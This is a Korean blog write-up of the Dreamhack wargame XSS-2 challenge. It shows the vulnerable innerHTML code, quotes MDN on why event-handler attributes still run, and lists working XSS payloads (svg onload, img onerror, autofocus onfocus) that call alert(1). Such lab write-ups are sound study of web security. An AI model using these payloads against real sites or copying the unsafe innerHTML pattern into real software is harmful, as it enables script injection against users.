security/웹해킹

[Dreamhack Wargame] XSS-2

민사민서 2023. 6. 27. 23:31

xss cheat sheet 사용해서 vuln 공략

    <div class="container">
      
    <div id='vuln'></div>
    <script>var x=new URLSearchParams(location.search); document.getElementById('vuln').innerHTML = x.get('param');</script>

    </div> <!-- /container -->

Element.innerHTML 취약점

https://developer.mozilla.org/ko/docs/Web/API/Element/innerHTML

const name = "John";
// assuming 'el' is an HTML DOM element
el.innerHTML = name; // harmless in this case

// ...

name = "<script>alert('I am John in an annoying alert!')</script>";
el.innerHTML = name; // harmless in this case

이것은 cross-site scripting 공격처럼 보일 수 있지만, 결과는 무해합니다. HTML5 는 innerHTML 과 함께 삽입된 <script> 태그가 실행되지 않도록 지정합니다.
그러나 <script> 요소를 사용하지 않고, 자바스크립트를 실행하는 방법이 있으므로, innerHTML 을 사용하여 제어할 수 없는 문자열을 설정할 때 마다 여전히 보안위험이 있습니다. 예를들어:

const name = "<img src='x' onerror='alert(1)'>";
el.innerHTML = name; // shows the alert

따라서 일반 텍스트를 삽입 할 때는 innerHTML 을 사용하지 않는 것이 좋습니다.

 

아래 사이트에 다양한 공격방법이 나와있다

https://portswigger.net/web-security/cross-site-scripting/cheat-sheet

 

Cross-Site Scripting (XSS) Cheat Sheet - 2023 Edition | Web Security Academy

Interactive cross-site scripting (XSS) cheat sheet for 2023, brought to you by PortSwigger. Actively maintained, and regularly updated with new vectors.

portswigger.net

 

xss-2 페이지에 통했던 공격 방법들

<svg/onload=alert(1)>
<img src="x" onerror=alert('1')>
<a href="javascript: alert('1')"> <!-- 실패 -->
<a tabindex=1 onfocusin=alert('1') autofocus>flag</a>
<input onfocus="alert('1')" autofocus>